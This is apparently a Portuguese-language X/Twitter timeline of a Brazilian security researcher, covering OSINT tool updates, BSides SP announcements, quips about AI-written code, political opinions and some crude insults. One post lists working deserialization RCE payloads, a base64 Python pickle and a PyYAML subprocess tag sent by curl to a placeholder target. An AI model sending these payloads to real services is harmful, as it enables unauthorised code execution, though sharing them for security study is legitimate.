Mr. Cl0wn

@HeglerHenri Hahahah essa galera vai deixando cyber sece mais rica kkkk

Não sou desenvolvedor e nunca estudei nada de programação. Hoje, sozinho e em menos de 30 minutos desenvolvi um software de controle de finanças pessoais com o Claude. Muitas empresas de softwares vão quebrar e muitos desenvolvedores que não se reenventarem serão dizimados.

[ BLOG POST ] Detalhes de uso e tricks sobre a ferramenta SimpleReconSubdomain - blog.mrcl0wn.com/osint-open-sou… #osint #hacking #tool #code #python #cyberintelligence #brasil

@BRuteLogic Parece as primeiras vulns do PHP kkkk

Python RCE Pickle curl TARGET/api -H"Content-Type:application/json" -d'{"data":"gASVKwAAAAAAAACMCnN1YnByb2Nlc3OUjAxjaGVja19vdXRwdXSUk5RdlIwCaWSUYYWUUpQu"}' PyYAML curl TARGET/api/config -H"Content-Type:application/x-yaml" -d'!!python/object/new:subprocess.check_output [["id"]]'

[ UPDATE - SimpleReconSubdomain v2 ] - Novas APIS. - Novas técnicas de enumeração. > github.com/MrCl0wnLab/Sim… #osint #hacking #code #python #brasil #cyberintelligence

Fiz um update que estava segurando faz tempo. Ela agora aceita keys de pai tbm. Usa consultas DNS. Ainda falta corrigir alguns bugs e simplificar o load module.

[ UPDATES - SimpleReconSubdomain ] Automated subdomain enumeration tool using multiple public APIs / no API key required. - github.com/MrCl0wnLab/Sim… #hacking #code #python #osint

Bsides SP - 2026 OSINT Village. #osint #hacking #brasil

[ OSINT BRAZUCA - ATUALIZAÇÃO DE FONTES ] Obrigado, @dimatefps, pelo empenho em enumerar fontes offline. - github.com/osintbrazuca/o… #osint #hacking #brasil #cyberintelligence

@Manoelsoaresjr @AnaliseGeopol vc é cabaço.

@AnaliseGeopol Brasil nunca foi adversário dos EUA, nem tão qnto Israel, não confunda um Estado ou nação, com governos, não é devido o nosso governo atual ser adversário do governo americano e israelitas que nossas nações não sejam amigas.

🇧🇷🇺🇸🇮🇱 A Polícia Federal entregará os celulares de Daniel Vorcaro, dono do Banco Master, para "especialistas" dos EUA e Israel que tentarão recuperar mensagens apagadas. O Brasil está entregando dados sensíveis de um dos maiores escândalos do país para duas nações adversárias.

@rafaelmota_f Não tem nem algumas semanas que eles vazaram o próprio code kkkkkk

Cybersec: acabou Webdev: acabou Gamedev: 5k dol a hora Dados: BMW x6 por mês Escolham com sabedoria

@george1BR2 Usou toda droga e foi fazer vídeo kkkkkk

Um cidadão comum, com acesso a uma ferramenta de IA conseguiu em 30 minutos, mapear o TRÁFICO E DISTRIBUIÇÃO DE DROGAS do Brasil para o mundo. Por que a PF e a PRF não estão mais realizando as GRANDES APREENSÕES DE DROGAS e ARMAS que era feitas durante o governo Bolsonaro? 🤔

@DevCritico Bom dito isso, infosec vão ter emprego infinito hahahha

IA coda melhor que você. Ultimamente o Uncle Bob vem falando bastante sobre o uso de agentes, e em resumo, sua opinião é extremamente favorável, chegando a ponto de defender que entender detalhes da implementação não importam mais, que humanos são lentos em escrever código. O fato é que um dos maiores responsáveis por inúmeras discussões sobre o que seria um “bom código”, está te dizendo claramente que se preocupar com isso no trabalho não importa mais.

Vibecode vai dobrar o salário da galera de SEC rsrs

📷 Você manda bem em OSINT? Tem uma técnica afiada, uma ferramenta poderosa ou quer compartilhar sua abordagem investigativa com a comunidade? Então esse é o seu momento de brilhar! > securitybsides.com.br/2026/cfp-villa… #osint #hacking #brasil #cyberintelligence

- Criar interface (form) para receber novas fontes de colaboradores - Filtrar fontes .GOV que solicitam login.

[ OSINT Brazuca - Next Steps ] + - Transformar toda base de conhecimento em formato JSON. - Criar interface pública para busca rápida da fonte, favoritar e possíveis comentários, report de status sobre a fonte, - Esquema de nodes com step by step de uso das fontes. #brasil

@pqcorvo Kkkkkk cara meteram a lgpd no cu

O ECA DIGITAL vai muito além do Linux. Como fica a soberania dos dados de brasileiros? Vamos ter repasse de tecnologia? E um monte de outros etcetera, enfim.

Esse tipo de coisa não ajuda em nada o debate, só faz acelerar a dicotomia que as pessoas se acostumaram. O texto do @prenass é muito ruim, muito achismo e nenhum argumento técnico, mas fazer isso aqui é lamentável e esvazia o debate.

@dlemesdev Outras hipnoses tbm seriam: - Alguém fez report como phishing. - Esse host já foi usado como phishing. - Segue algum padrão atual de campanha de maliciosa conhecida.

Lancei meu micro SaaS (scoresu.me) e o Google Safe Browsing bloqueou o site no celular como "Site perigoso" Motivo? Domínio novo + login OAuth = parece phishing pro Google. Não tinha nenhum problema real. Só falta de reputação do domínio. Solução: Google Search Console → Problemas de segurança → Pedir revisão. Lição: se você vai lançar um SaaS com login social em domínio novo, cadastre no Search Console ANTES do lançamento.

@osupernerd Kkkkkk quero que multipliquem essa confiança. O mercado de infosec agradece.

É realmente impressionante como LLMs causam uma confiança excessiva nas pessoas. Espero que os dados sejam mocks, qualquer um que saiba de segurança, observa claramente o gerador de lero lero funcionando.